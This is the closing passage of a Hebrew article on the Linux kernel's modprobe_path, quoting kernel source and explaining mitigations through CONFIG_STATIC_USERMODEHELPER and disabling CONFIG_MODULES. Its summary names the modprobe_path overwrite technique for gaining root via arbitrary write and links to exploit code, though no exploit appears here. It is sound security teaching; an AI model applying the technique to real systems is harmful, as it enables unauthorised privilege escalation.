אנחנו יכולים לראות שאם השדה path ב-struct של sub_info הוא מחרוזת ריקה, לא נריץ שום קובץ. כלומר ע"י הגדרת CONFIG_STATIC_USERMODEHELPER וכן הגדרת STATIC_USERMODEHELPER_PATH להיות מחרוזת ריקה, נוכל למנוע הרצת בינאריים ב-userspace מתוך הקרנל (כפי שגם כתוב בהערה בקוד המקור) ובכך לצמצם עוד יותר את משטח התקיפה.

המיטיגציה הזו שכוללת שימוש ב-CONFIG_STATIC_USERMODEHELPER רלוונטית לא רק למקרה של הקריאה ל-modprobe כאשר מתבצע execve, אלא גם למקומות אחרים בקרנל שבהם מעוניינים להריץ בינאריים usermode-יים. בלינק הזה נמצא הקומיט אשר בו מומשה המיטיגציה וניתן לקרוא בקצרה דרך ההערות של הקומיט על אספקטים שונים שהתייחסו אליהם במימוש.

כעת אם נחזור קצת אחורה בשרשרת הקריאות לפונקציה search_binary_handler נראה:

```
static int search_binary_handler(struct linux_binprm *bprm)
{
  bool need_retry = IS_ENABLED(CONFIG_MODULES);

      ...

 retry:
  read_lock(&binfmt_lock);
  list_for_each_entry(fmt, &formats, lh) {

            ...

    retval = fmt->load_binary(bprm);
```

```
            ...
  }
  read_unlock(&binfmt_lock);

  if (need_retry) {
    if (printable(bprm->buf[0]) && printable(bprm->buf[1]) &&
        printable(bprm->buf[2]) && printable(bprm->buf[3]))
      return retval;
    if (request_module("binfmt-%04x", *(ushort *)(bprm->buf + 2)) < 0)
      return retval;
    need_retry = false;
    goto retry;
  }

  return retval;
}
```

כפי שכבר ציינו קודם, אם CONFIG_MODULES אינו enabled כל קטע הקוד בבלוק של "if (need retry)" כלל לא יבוצע וכך נמנע לחלוטין את הקריאה ל-request_module אשר בעקבותיה לא יתרחש ניסיון ההרצה של הקובץ בנתיב modprobe_path.

למעשה, נראה שאם CONFIG_MODULES לא מוגדר, כלל לא נוכל להשתמש ב-request_module וחברים:

```
#ifdef CONFIG_MODULES
extern char modprobe_path[]; /* for sysctl */
/* modprobe exit status on success, -ve on error.  Return value
 * usually useless though. */
extern __printf(2, 3)
int __request_module(bool wait, const char *name, ...);
#define request_module(mod...) __request_module(true, mod)
#define request_module_nowait(mod...) __request_module(false, mod)
#define try_then_request_module(x, mod...) \
  ((x) ?: (__request_module(true, mod), (x)))
#else
static inline int request_module(const char *name, ...) { return -ENOSYS; }
static inline int request_module_nowait(const char *name, ...) { return -ENOSYS; }
#define try_then_request_module(x, mod...) (x)
#endif
```

[kmod.h]

ואף כפי שכתוב בתיאור של CONFIG_MODULES בקובץ הקונפיגורציה:

"Enable loadable module support"

כלומר השבתה של CONFIG_MODULES תגרום באופן כללי להשבתה של תמיכה ב-LKMs.

בעיה נפוצה במיטיגציות למיניהן מתבטאת במקרה הנוכחי באופן די חריף, והיא העובדה שפעמים רבות על מנת להתמודד עם תקיפות פוטנציאליות יש צורך לבטל פונקציונליות מסוימת כדי להקטין את משטח התקיפה, דבר שלעיתים יכול להשפיע מאוד לרעה על השימוש הכללי במערכת ועל היכולות שהיא מספקת.

סיכום

את המאמר פתחנו עם קצת רקע על loadable kernel modules (או LKMs) ועל פקודות שמאפשרות שליטה עליהם, ביניהן הפקודה modprobe.

בהמשך נכנסנו עמוק לתוך המימוש של do_execve בקוד המקור של הקרנל של לינוקס, ובמהלך הטיול הקצר למדנו איך הקרנל מתמודד עם סוגים שונים של קבצי הרצה, וגם מה הוא עושה כאשר הוא נתקל בקובץ מפורמט לא מוכר. כך נחשפנו לשימוש שלו ב-modprobe ובפרט ב-modprobe_path, שימוש שגרם להרבה חוקרים להיות מאושרים יותר ובזכותו אנו כאן היום.

לאחר מכן סקרנו את השיטה המופלאה של דריסת modprobe_path כדי להשיג הרצת קוד בהרשאות root בעזרת פרימיטיב של כתיבה שרירותית וכן הדלפת כתובת. ראינו דוגמת צעצוע שממחישה את הניצול שלה והסברנו כיצד ניתן להתגונן מפניה.

לינק לקוד המלא שהוצג במאמר:

https://github.com/dvirgol10/dgw-modprobe_path-overwrite

על המחבר

שמי **דביר גולן**, בן 18, לפניות מכל סוג שהוא אני זמין במייל: dvirgol10@gmail.com. תודה רבה **לשלומי בוטנרו** על התמיכה, ההערות והעידוד לכתוב את המאמר.